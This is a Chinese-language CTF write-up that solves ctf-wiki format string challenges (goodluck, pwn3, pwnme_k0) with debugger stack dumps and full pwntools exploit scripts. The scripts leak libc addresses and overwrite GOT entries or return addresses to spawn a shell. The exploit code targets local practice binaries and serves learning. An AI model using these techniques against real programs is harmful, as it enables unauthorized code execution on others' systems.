ctfwiki格式化字符串部分题解
goodluck 特殊情况 这道题比较特殊 一般的题目是不会把flag加载进堆栈中的 在printf结束时断下时
1 2 3 4 5 6 7 8 9 10 11 pwndbg> stack 50 00 :0000 │ rsp 0x7fffffffe568 —▸ 0x400890 (main+234 ) ◂— mov edi, 0x4009b8 01 :0008 │ 0x7fffffffe570 ◂— 0x61000001 02 :0010 │ 0x7fffffffe578 —▸ 0x602ca0 ◂— 0x61616161 03 :0018 │ 0x7fffffffe580 —▸ 0x6022a0 ◂— 0x0 04 :0020 │ 0x7fffffffe588 —▸ 0x7fffffffe590 ◂— 0x7365747b47414c46 ('FLAG{tes' )05 :0028 │ 0x7fffffffe590 ◂— 0x7365747b47414c46 ('FLAG{tes' )06 :0030 │ 0x7fffffffe598 ◂— 0xffff0a7d33323174 07 :0038 │ 0x7fffffffe5a0 ◂— 0xffffffffffff 08 :0040 │ 0x7fffffffe5a8 ◂— 0x9252308373e55000 09 :0048 │ rbp 0x7fffffffe5b0 ◂— 0x0
那么对于此题而言确实是比较刚好 只需要判断0x7fffffffe588是printf的第几个参数即可 由于是64位的缘故 还有6个寄存器 6+4-1=9 只需要输入%9$s即可 也可以用fmtarg
1 2 pwndbg> fmtarg 0x7fffffffe588 The index of format argument : 10 ("\\%9$p" )
关于这种情况的就记录到此 毕竟在比赛中极少见 最后print一下即可
1 2 3 4 5 from pwn import *sh = process ('./goodluck' ) payload = '%9$s' sh.sendline (payload) print sh.recv ()
一般情况 对于一般情况 我们先分别拿32位和64位举个例子
1 2 3 4 5 6 7 #include <stdio.h > int main ( ){ char a[100 ]; scanf ("%s" ,a); printf (a); return 0 ; }
注意一点 无论是32位还是64位而言 payload的输入都得通过exp执行 手工输入会造成输入字符串不分组 无法提取所需数据 对于32位程序而言 情况和ctfwiki上面的差不多
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *sh = process ('./32' ) elf = ELF ('./32' ) #context.log_level = 'debug' context.terminal = ['tmux' , 'splitw' , '-h' , '-F' '#{pane_pid}' , '-P' ] gdb.attach (sh) __isoc99_scanf_got = elf.got ['__isoc99_scanf' ] print (hex (__isoc99_scanf_got)) payload = p32 (__isoc99_scanf_got) + '@@%7$s@@' print (payload) sh.sendline (payload) sh.recvuntil ('@@' ) print hex (u32 (sh.recv (4 )))
由于手工输入payload无法观察真实情况栈结构 我们使用gdb.attach()函数 请注意 如果有读者和我一样使用的是pwndocker 那么得装个tmux docker内启动tmux 并设置context.terminal如上 在运行后需在gdb内设置printf函数断点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 pwndbg> stack 25 │00 :0000 │ esp 0xff9bc7bc —▸ 0x80484c5 (main+63 ) ◂— add esp, 0x10 │01 :0004 │ 0xff9bc7c0 —▸ 0xff9bc7dc —▸ 0x804a014 (__isoc99_scanf@got.plt ) —▸ 0xf7ded3a0 (__isoc99_scanf) ◂— endbr32 │02 :0008 │ 0xff9bc7c4 —▸ 0xff9bc7dc —▸ 0x804a014 (__isoc99_scanf@got.plt ) —▸ 0xf7ded3a0 (__isoc99_scanf) ◂— endbr32 │03 :000c│ 0xff9bc7c8 —▸ 0xf7fc7990 ◂— 0x0 │04 :0010 │ 0xff9bc7cc —▸ 0x804849d (main+23 ) ◂— add ebx, 0x1b63 │05 :0014 │ 0xff9bc7d0 ◂— 0x0 │06 :0018 │ 0xff9bc7d4 ◂— 0xc30000 │07 :001c│ 0xff9bc7d8 ◂— 0x1 │08 :0020 │ eax 0xff9bc7dc —▸ 0x804a014 (__isoc99_scanf@got.plt ) —▸ 0xf7ded3a0 (__isoc99_scanf) ◂— endbr32 │09 :0024 │ 0xff9bc7e0 ◂— '@@%7$s@@' │0a :0028 │ 0xff9bc7e4 ◂— '$s@@' │0b :002c│ 0xff9bc7e8 —▸ 0xf7fc7000 ◂— 0x2bf24 │0c :0030 │ 0xff9bc7ec ◂— 0x0
可以看到从0xff9bc7dc开始 将payload分割为几个4字节进行存储 这样结合%7$s就很好明白了 对于@@@@的话 相当于打个标签吧 不过记得加上recvuntil()
1 2 3 4 5 6 7 DEBUG ] Sent 0xd bytes : 00000000 14 a0 04 08 40 40 25 37 24 73 40 40 0a │····│@@%7 │$s@@│·│ 0000000d [*] Process './32' stopped with exit code 0 (pid 39281 ) [DEBUG ] Received 0xc bytes : 00000000 14 a0 04 08 40 40 a0 03 d9 f7 40 40 │····│@@··│··@@│ 0000000c
还有一个要注意的点就是 对于我们想要获取的got表 地址不能以00结尾 可以用这句查看
1 print hex (libc.symbols ['scanf' ])
对于32位而言 情况十分常规 但是此法在64位系统中略有不同 因为在64位系统中 虚拟内存的高16位永远是赋值为0 拿got表举例
1 2 3 4 5 6 7 8 9 10 pwndbg> got /ctf/work/64 : file format elf64-x86-64 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 0000000000600ff0 R_X86_64_GLOB_DAT __libc_start_main@GLIBC_2 .2 .5 0000000000600ff8 R_X86_64_GLOB_DAT __gmon_start__ 0000000000601018 R_X86_64_JUMP_SLOT printf@GLIBC_2 .2 .5 0000000000601020 R_X86_64_JUMP_SLOT __isoc99_scanf@GLIBC_2 .7
可以看到开头全是0 那么如果还是以got表地址打头 会直接导致后面的%n$s被截断 那么我们得把它反过来写 并且我们选择时也不能选择结尾为0的got表 不然一样会造成截断
1 payload = '@@%7$s@@' .ljust (0x20 ,'a' ) + p64 (printf_got)
请注意 当你把got表地址放后面时 会导致所在参数位置的改变 此时我们需要重新设置一遍 不过既然涉及到这个问题 我们在输入时就必须注意padding的问题 我们必须让got表地址处于一个单独的栈单元内 这就需要我们对齐 32位不需要对齐是因为4字节比较少出现没对齐的情况
1 2 3 4 5 6 7 8 pwndbg> stack 25 │00 :0000 │ rsp 0x7ffd8ffca558 —▸ 0x400588 (main+49 ) ◂— mov eax, 0 │01 :0008 │ rdi 0x7ffd8ffca560 ◂— 0x4073243031254040 ('@@%10$s@' ) │02 :0010 │ 0x7ffd8ffca568 ◂— 0x6161616161616140 ('@aaaaaaa' ) │03 :0018 │ 0x7ffd8ffca570 ◂— 0x6161616161616161 ('aaaaaaaa' ) │04 :0020 │ 0x7ffd8ffca578 ◂— 0x6161616161616161 ('aaaaaaaa' ) │05 :0028 │ 0x7ffd8ffca580 —▸ 0x601018 (printf@got.plt ) —▸ 0x7f8192b24cc0 (printf) ◂— endbr64 │06 :0030 │ 0x7ffd8ffca588 —▸ 0x7ffd8ffca500 ◂— 0x0
可以看到 如上是实现栈对齐后的效果 fmtarg即可确定参数位置
最后就是输出 我们输入时可以看到我们的地址是6字节 然而我们输入的padding是会跟着输出的 格式也是打包好的 并且还有一堆乱七八糟的东西
1 �<\\xff��~@@aaaaaaaaaaaaaaaaaaaaaaa\\x18`
我们要前6字节 但是u64解包需要8字节 故exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *sh = process ('./64' ) elf = ELF ('./64' ) context.log_level = 'debug' libc = elf.libc context.terminal = ['tmux' , 'splitw' , '-h' , '-F' '#{pane_pid}' , '-P' ] gdb.attach (sh) printf_got = elf.got ['printf' ] print (hex (printf_got)) payload = '@@%10$s@@' .ljust (0x20 ,'a' ) + p64 (printf_got) print (payload) sh.sendline (payload) sh.recvuntil ('@@' ) print hex (u64 (sh.recv (6 ).ljust (8 ,"\\x00" )))
我们最后回到goodluck那题 可惜就算这样他也还是不给我机会 只有关于flag的栈 耻辱下播
pwn 这题对于初学的我还是有点难度的 值得学习 此情况只有在部分reload时才可使用
准备工作 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 int __cdecl __noreturn main (int argc, const char **argv, const char **envp ) { signed int v3; char s1; int v5; setbuf (stdout, 0 ); ask_username (&s1); ask_password (&s1); while ( 1 ) { while ( 1 ) { print_prompt (); v3 = get_command (); v5 = v3; if ( v3 != 2 ) break ; put_file (); } if ( v3 == 3 ) { show_dir (); } else { if ( v3 != 1 ) exit (1 ); get_file (); } } }
main函数大致了解过程 输入username和password 然后选择一项服务 此题有三个重要的子函数 分别是put_file get_file show_dir 在此之前先说一下password函数
1 2 3 4 5 6 7 8 9 int __cdecl ask_password (char *s1 ) { if ( strcmp (s1, "sysbdmin" ) ) { puts ("who you are?" ); exit (1 ); } return puts ("welcome!" ); }
这个strcmp有点东西 如果比较发现相等 返回值为0 而这个s1是username传来的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 _DWORD *put_file ( ) { _DWORD *v0; _DWORD *result; v0 = malloc (0xF4u); printf ("please enter the name of the file you want to upload:" ); get_input ((int)v0, 40 , 1 ); printf ("then, enter the content:" ); get_input ((int)(v0 + 10 ), 200 , 1 ); v0[60 ] = file_head; result = v0; file_head = (int)v0; return result; }
对于put_file而言 此函数首先申请一段内存空间 v0是指向开头的指针 两个get_input分别对v0所在空间输入40 200个字节数据 并且在v0的最后位置存储一个file_head值 在最初该值为0是因为file_head处于bss段 不过在每次调用put_file的最后 file_head都会被赋值为v0指针 因此在多次调用put_file时 会形成一个链栈结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int get_file ( ) { char dest; char s1; char *i; printf ("enter the file name you want to get:" ); __isoc99_scanf ("%40s" , &s1); if ( !strncmp (&s1, "flag" , 4u) ) puts ("too young, too simple" ); for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60 ) ) { if ( !strcmp (i, &s1) ) { strcpy (&dest, i + 40 ); return printf (&dest); } } return printf (&dest); }
get_file则是格式化字符串漏洞的触发函数 不过逻辑很简单就是了 把输入名字所在的那个链栈内容复制一下 然后printf 这倒是简单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int show_dir ( ) { int v0; char s[1024 ]; int i; int j; int v5; v5 = 0 ; j = 0 ; bzero (s, 0x400u); for ( i = file_head; i; i = *(_DWORD *)(i + 240 ) ) { for ( j = 0 ; *(_BYTE *)(i + j); ++j ) { v0 = v5++; s[v0] = *(_BYTE *)(i + j); } } return puts (s); }
show_dir这个函数比较有意思 表面上看它也还是和get_file一样输出链栈内容 不过当我进行测试之后发现不太一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 pwndbg> r Starting program : /ctf/ work/pwn3 Connected to ftp.hacker .server 220 Serv -U FTP Server v6.4 for WinSock ready...Name (ftp.hacker .server :Rainism ):rxraclhmwelcome! ftp>put please enter the name of the file you want to upload :123 then, enter the content :abc ftp>put please enter the name of the file you want to upload :321 then, enter the content :bca ftp>dir 321123 ftp>get enter the file name you want to get :123 abcftp>dir 321123
get_file是输入put_file所输入的文件名 输出对应文件内容 而show_dir就只输出文件名(直到写wp时才明白这个show_dir名字是这个意思
HIJACK GOT 没有明显的flag痕迹 也没有明显的条件判断来执行shell等 那么尝试一波劫持got 将某个函数地址改为system的
1 get_file () put_file () show_dir ()
能用到的也就这三个函数 put_file目前发现格式化字符串漏洞 但是get与dir都没有明显漏洞 在get_file中利用漏洞进行got表劫持是可以做到的 但是got表劫持所修改的函数必须要在后面被调用 而且system的话 还需要/bin/sh;参数 才能形成system(’/bin/sh;’)的shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int show_dir ( ) { int v0; char s[1024 ]; int i; int j; int v5; v5 = 0 ; j = 0 ; bzero (s, 0x400u); for ( i = file_head; i; i = *(_DWORD *)(i + 240 ) ) { for ( j = 0 ; *(_BYTE *)(i + j); ++j ) { v0 = v5++; s[v0] = *(_BYTE *)(i + j); } } return puts (s); }
回到show_dir函数中 我们已经知道他只输出文件名 那么说明s我们是可控的 只需要put时输入即可 那么我们如果将puts的地址劫持 修改为system地址 即可实现getshell
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import *from LibcSearcher import LibcSearcher sh = process ("./pwn3" ) elf = ELF ('./pwn3' ) context.log_level = 'debug' #context.terminal = ['tmux' , 'splitw' , '-h' , '-F' '#{pane_pid}' , '-P' ] tmp = 'sysbdmin' name = "" for i in tmp : name += chr (ord (i)-1 ) def password (): sh.recvuntil ('Name (ftp.hacker.server:Rainism):' ) sh.sendline (name) def put (name,payload): sh.sendline ('put' ) sh.recvuntil ('please enter the name of the file you want to upload:' ) sh.sendline (name) sh.recvuntil ('then, enter the content:' ) sh.sendline (payload) def get (name): sh.sendline ('get' ) sh.recvuntil ("enter the file name you want to get:" ) sh.sendline (name) data = sh.recv () return data #gdb.attach (sh) password ()puts_got = elf.got ['puts' ] payload = '%8$s' + p32 (puts_got) put ('1111' ,payload)#puts_addr = u32 (get ('1111' )[:4 ]) puts_addr = u32 (get ('1111' )[:4 ]) #print hex (puts_addr) libc = LibcSearcher ('puts' ,puts_addr) system_offset = libc.dump ('system' ) puts_offset = libc.dump ('puts' ) system_addr = puts_addr - puts_offset + system_offset log.success ('system addr:' + hex (system_addr)) payload = fmtstr_payload (7 ,{puts_got :system_addr}) put ('/bin/sh;' ,payload)sh.recvuntil ('ftp>' ) get ('/bin/sh;' )sh.sendline ('dir' ) sh.interactive ()
不过 在编写EXP时 遇到了许多坑 首先是栈中参数位置的确定
1 2 3 4 5 6 7 8 9 10 │00 :0000 │ esp 0xffa77aa0 —▸ 0xffa77abc ◂— 0x73243825 ('%8$s' ) │01 :0004 │ 0xffa77aa4 —▸ 0x90521d8 ◂— 0x73243825 ('%8$s' ) │02 :0008 │ 0xffa77aa8 ◂— 0x4 │03 :000c│ 0xffa77aac —▸ 0xf7dc226c ◂— 0x3787 │04 :0010 │ 0xffa77ab0 —▸ 0xf7fa0a74 ◂— 0x0 │05 :0014 │ 0xffa77ab4 ◂— 0x7d4 │06 :0018 │ 0xffa77ab8 —▸ 0xf7fa02a0 (_IO_helper_jumps) ◂— 0x0 │07 :001c│ eax edx 0xffa77abc ◂— 0x73243825 ('%8$s' ) │08 :0020 │ 0xffa77ac0 —▸ 0x804a028 (puts@got.plt ) —▸ 0xf7e24c30 (puts) ◂— endbr32 │09 :0024 │ 0xffa77ac4 —▸ 0x8048c00 ◂— push ebx
这是put完之后 运行到get时printf处的断点 可以看到此处的堆栈略有不同 我们首先使用fmtarg
1 2 pwndbg> fmtarg 0xffa77ac0 The index of format argument : 8 ("\\%7$p" )
正常来说 我们设置的参数位置应该是%7$p 但是若真用7 那么定位到的内容是%7$s它本身 修改部分代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 def get (name): sh.sendline ('get' ) sh.recvuntil ("enter the file name you want to get:" ) sh.sendline (name) data = sh.recv () return data password ()puts_got = elf.got ['puts' ] payload = '%7$p' + p32 (puts_got) print payload put ('1111' ,payload)gdb.attach (sh) print get ('1111' ) │00 :0000 │ esp 0xffa94b60 —▸ 0xffa94b7c ◂— 0x70243725 ('%7$p' ) │01 :0004 │ 0xffa94b64 —▸ 0x82791d8 ◂— 0x70243725 ('%7$p' ) │02 :0008 │ 0xffa94b68 ◂— 0x4 │03 :000c│ 0xffa94b6c —▸ 0xf7d4f26c ◂— 0x3787 │04 :0010 │ 0xffa94b70 —▸ 0xf7f2da74 ◂— 0x0 │05 :0014 │ 0xffa94b74 ◂— 0x7d4 │06 :0018 │ 0xffa94b78 —▸ 0xf7f2d2a0 (_IO_helper_jumps) ◂— 0x0 │07 :001c│ eax edx 0xffa94b7c ◂— 0x70243725 ('%7$p' ) │08 :0020 │ 0xffa94b80 —▸ 0x804a028 (puts@got.plt ) —▸ 0xf7db1c30 (puts) ◂— endbr32 root@5c3176a78240 :/ctf/ work# python2 exp.py [+] Starting local process './pwn3' : pid 59656 [*] '/ctf/work/pwn3' Arch : i386-32 -little RELRO : Partial RELRO Stack : No canary found NX : NX enabled PIE : No PIE (0x8048000 ) %7 $p(\\xa0\\x04 [*] running in new terminal : /usr/ bin/gdb -q "./pwn3" 59656 [+] Waiting for debugger : Done 0x70243725 (\\xa0\\x04ftp>[*] Stopped process './pwn3' (pid 59656 )
可以看到 确实是0x70243725 不过为啥会这样我也不是很确定
1 2 3 4 5 6 7 8 9 10 11 12 13 14 pwndbg> stack 25 │00 :0000 │ esp 0xff9bc7bc —▸ 0x80484c5 (main+63 ) ◂— add esp, 0x10 │01 :0004 │ 0xff9bc7c0 —▸ 0xff9bc7dc —▸ 0x804a014 (__isoc99_scanf@got.plt ) —▸ 0xf7ded3a0 (__isoc99_scanf) ◂— endbr32 │02 :0008 │ 0xff9bc7c4 —▸ 0xff9bc7dc —▸ 0x804a014 (__isoc99_scanf@got.plt ) —▸ 0xf7ded3a0 (__isoc99_scanf) ◂— endbr32 │03 :000c│ 0xff9bc7c8 —▸ 0xf7fc7990 ◂— 0x0 │04 :0010 │ 0xff9bc7cc —▸ 0x804849d (main+23 ) ◂— add ebx, 0x1b63 │05 :0014 │ 0xff9bc7d0 ◂— 0x0 │06 :0018 │ 0xff9bc7d4 ◂— 0xc30000 │07 :001c│ 0xff9bc7d8 ◂— 0x1 │08 :0020 │ eax 0xff9bc7dc —▸ 0x804a014 (__isoc99_scanf@got.plt ) —▸ 0xf7ded3a0 (__isoc99_scanf) ◂— endbr32 │09 :0024 │ 0xff9bc7e0 ◂— '@@%7$s@@' │0a :0028 │ 0xff9bc7e4 ◂— '$s@@' │0b :002c│ 0xff9bc7e8 —▸ 0xf7fc7000 ◂— 0x2bf24 │0c :0030 │ 0xff9bc7ec ◂— 0x0
这是之前那个32位例子的栈结构 比较一下可以看到 此题的栈结构中缺少第一个main的返回地址 因为fmtarg是使用该地址与esp地址的差值进行计算的 所以参数可+1 不过我不是很确定 属于卡住的时候可以验证一下
1 payload = fmtstr_payload (7 ,{puts_got :system_addr})
然后是这句payload的目的是将puts的got表地址 修改为system的函数地址 不过该部分的参数不知道为什么又变成7了 应该是要与fmtarg函数返回的一样
HIJACK RETADDR 这题还可以用函数调用栈的方式来做
1 2 3 4 5 6 7 8 9 10 11 12 13 .text :080487F6 get_file proc near ; CODE XREF : main+57 ↑p .text :080487F6 .text :080487F6 dest = byte ptr -0FCh .text :080487F6 s1 = byte ptr -34h .text :080487F6 var_C = dword ptr -0Ch .text :080487F6 .text :080487F6 ; __unwind { .text :080487F6 push ebp .text :080487F7 mov ebp, esp .text :080487F9 sub esp, 118h .text :080487FF mov dword ptr [esp], offset aEnterTheFileNa ; "enter the file name you want to get:" .text :08048806 call _printf .text :0804880B lea eax, [ebp+s1]
这是get_file的汇编代码 可以看到他先是入栈ebp 然后移动esp并空出118h的栈空间 这是函数调用时的操作 那么对于目前的格式化字符串漏洞而言 ebp所在地址距离esp有118h 也就是280 那么280/4 = 70 那么我们取第70个参数就能获取到get_file函数的ebp地址
1 2 3 │46 :0118 │ ebp 0xff817f38 —▸ 0xff817f88 ◂— 0x0 pwndbg> fmtarg 0xff817f38 |The index of format argument : 70 ("\\%69$p" )
结合之前对于参数的判断 确实第70个(实在不行再改成69) 复习一下 ebp是在call之后入栈的 而retaddr则是在call时就入栈的 二者不一样 我们此时获取的ebp是main函数(caller)的ebp 具体去结合函数调用栈的知识
1 2 3 4 5 Breakpoint 3 , 0x08048670 in main ()pwndbg> stack 25 00 :0000 │ ebp esp 0xffffd6e8 ◂— 0x0 01 :0004 │ 0xffffd6ec —▸ 0xf7decee5 (__libc_start_main+245 ) ◂— add esp, 0x10 02 :0008 │ 0xffffd6f0 ◂— 0x1
这是我在main函数处下的断点 请记住此时的ebp 至于为啥会出现esp和ebp在一起的情况 主要还是具体情况具体分析
1 2 3 4 5 6 43 :010c│ 0xffffd68c ◂— 0x0 44 :0110 │ 0xffffd690 —▸ 0xf7fbdd20 (_IO_2_1_stdout_) ◂— 0xfbad2887 45 :0114 │ 0xffffd694 —▸ 0xf7ffd990 ◂— 0x0 46 :0118 │ ebp 0xffffd698 —▸ 0xffffd6e8 ◂— 0x0 47 :011c│ 0xffffd69c —▸ 0x80486c9 (main+92 ) ◂— jmp 0x80486e5 48 :0120 │ 0xffffd6a0 —▸ 0xffffd6b4 ◂— 'sysbdmin'
这是我在get_file处下断点获取的ebp值 可以看到此处的ebp有个箭头 箭头后的值正是main(caller)的ebp 这说明此时ebp指针的位置是0xffffd698 栈开始的地方是这个地址 该地址存储的是旧的(caller)的ebp值 多个调用的话情况类推
1 2 3 │46 :0118 │ ebp 0xffa13918 —▸ 0xffa13968 ◂— 0x0 │47 :011c│ 0xffa1391c —▸ 0x80486c9 (main+92 ) ◂— jmp 0x80486e5 │48 :0120 │ 0xffa13920 —▸ 0xffa13934 ◂— 'sysbdmin'
不过需要注意的是 我们获取的ebp的值是main函数的ebp值 他的值与当前的retaddr永远存在0x4c的差值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 from pwn import *from LibcSearcher import LibcSearcher sh = process ("./pwn3" ) elf = ELF ('./pwn3' ) #context.log_level = 'debug' #context.terminal = ['tmux' , 'splitw' , '-h' , '-F' '#{pane_pid}' , '-P' ] tmp = 'sysbdmin' name = "" for i in tmp : name += chr (ord (i)-1 ) def password (): sh.recvuntil ('Name (ftp.hacker.server:Rainism):' ) sh.sendline (name) def put (name,payload): sh.sendline ('put' ) sh.recvuntil ('please enter the name of the file you want to upload:' ) sh.sendline (name) sh.recvuntil ('then, enter the content:' ) sh.sendline (payload) def get (name): sh.sendline ('get' ) sh.recvuntil ("enter the file name you want to get:" ) sh.sendline (name) data = sh.recv () return data #gdb.attach (sh) password ()printf_got = elf.got ['printf' ] payload = '%8$s' + p32 (printf_got) put ('1111' ,payload)#puts_addr = u32 (get ('1111' )[:4 ]) printf_addr = u32 (get ('1111' )[:4 ]) #print hex (puts_addr) libc = LibcSearcher ('printf' ,printf_addr) printf_offset = libc.dump ('printf' ) system_offset = libc.dump ('system' ) bin_sh_offset = libc.dump ('str_bin_sh' ) system_addr = printf_addr - printf_offset + system_offset bin_sh_addr = printf_addr - printf_offset + bin_sh_offset put ('getEbp' ,b'%70$p a' )tmp = get ('getEbp' ) ebp = int (tmp.split ()[0 ],16 ) ret_addr = ebp -0x4c payload = fmtstr_payload (7 , {ret_addr + 8 : bin_sh_addr}) put ('setSH' , payload)get ('setSH' )payload = fmtstr_payload (7 , {ret_addr : system_addr}) put ('setSy' , payload)get ('setSy' )sh.interactive ()
HIJACK RETADDR 2.0 在解题的过程中也发现 其实也可以利用esp进行getshell 在比较特殊的情况中 劫持ebp可能会出现程序崩溃的情况 这个时候也可以劫持esp 因为在调用完了以后eip会走到esp的上面(高4字节
1 2 3 4 .text :0804866D push ebp .text :0804866E mov ebp, esp .text :08048670 and esp, 0FFFFFFF0h .text :08048673 sub esp, 40h
这是main开始对esp的操作 我们也可以在python中实现 大体不变 exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from pwn import *from LibcSearcher import LibcSearcher sh = process ("./pwn3" ) elf = ELF ('./pwn3' ) #context.log_level = 'debug' #context.terminal = ['tmux' , 'splitw' , '-h' , '-F' '#{pane_pid}' , '-P' ] tmp = 'sysbdmin' name = "" for i in tmp : name += chr (ord (i)-1 ) def password (): sh.recvuntil ('Name (ftp.hacker.server:Rainism):' ) sh.sendline (name) def put (name,payload): sh.sendline ('put' ) sh.recvuntil ('please enter the name of the file you want to upload:' ) sh.sendline (name) sh.recvuntil ('then, enter the content:' ) sh.sendline (payload) def get (name): sh.sendline ('get' ) sh.recvuntil ("enter the file name you want to get:" ) sh.sendline (name) data = sh.recv () return data #gdb.attach (sh) password ()printf_got = elf.got ['printf' ] payload = '%8$s' + p32 (printf_got) put ('1111' ,payload)#puts_addr = u32 (get ('1111' )[:4 ]) printf_addr = u32 (get ('1111' )[:4 ]) #print hex (puts_addr) libc = LibcSearcher ('printf' ,printf_addr) printf_offset = libc.dump ('printf' ) system_offset = libc.dump ('system' ) bin_sh_offset = libc.dump ('str_bin_sh' ) system_addr = printf_addr - printf_offset + system_offset bin_sh_addr = printf_addr - printf_offset + bin_sh_offset put ('getEbp' ,b'%70$p a' )tmp = get ('getEbp' ) ebp = int (tmp.split ()[0 ],16 ) esp = (ebp & 0x0FFFFFFF0 ) - 0x40 ret_addr = ebp -0x4c payload = fmtstr_payload (7 , {esp + 4 : bin_sh_addr}) put ('setSH' , payload)get ('setSH' )payload = fmtstr_payload (7 , {esp - 4 : system_addr}) put ('setSy' , payload)get ('setSy' )sh.interactive ()
当然这种情况就要具体问题具体分析了
pwnme_k0 其实会了上面的那题的hijack retaddr的话 这题就很简单了 只不过他是64位的 fmtstr_payload就不能用了 得覆盖大数字
1 2 3 │01 :0008 │ rbp 0x7fffe630b620 —▸ 0x7fffe630b660 —▸ 0x7fffe630b710 ◂— 0x0 │02 :0010 │ 0x7fffe630b628 —▸ 0x400d74 ◂— add rsp, 0x30 │03 :0018 │ rdi 0x7fffe630b630 ◂— 'aaaaaaaa\\n'
0x7fffe630b660 - 0x7fffe630b628 = 0x38 接下来需要获取返回地址
1 2 3 4 5 6 7 .text :00000000004008A6 sub_4008A6 proc near .text :00000000004008A6 ; __unwind { .text :00000000004008A6 push rbp .text :00000000004008A7 mov rbp, rsp .text :00000000004008AA mov edi, offset command ; "/bin/sh" .text :00000000004008AF call system .text :00000000004008B4 pop rdi
所以还需要覆盖后三位即可 或者全覆盖也行
1 2 0x4008A6 ---> '4196518d%11$hn' 0x8A6 ---> '2214d%11$hn'
默认情况都是从尾端开始覆盖的
1 2 3 A%11 $hhn ---> 0x88888801 A%11 $hn ---> 0x88880001 A%11 $n ---> 0x00000001
题目分析就略过了 逻辑比较简单 exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *sh = process ('./pwnme_k0' ) context.log_level = 'debug' #context.terminal = ['tmux' , 'splitw' , '-h' , '-F' '#{pane_pid}' , '-P' ] def reg (name,passwd): sh.recvuntil ('Input your username(max lenth:20):' ) sh.sendline (name) sh.recvuntil ('Input your password(max lenth:20):' ) sh.sendline (passwd) def show (): sh.sendline ('1' ) def update (name,payload): sh.sendline ('2' ) sh.recvuntil ('please input new username(max lenth:20):' ) sh.sendline (name) sh.recvuntil ('please input new password(max lenth:20):' ) sh.sendline (payload) #gdb.attach (sh) name = 'aaaaaaaa' passwd = '%6$p' reg (name,passwd)sh.recvuntil ('>' ) show ()#ebp = int (sh.recv ()[11 :25 ],16 ) #print ebp sh.recvuntil ("0x" ) ret_addr = int (sh.recvline ().strip (),16 ) - 0x38 #ret_addr = ebp - 0x38 print hex (ret_addr) payload = '4196518d%11$hn' payload += p64 (ret_addr) print (payload)update (name,payload)sh.recvuntil ('>' ) show ()sh.interactive ()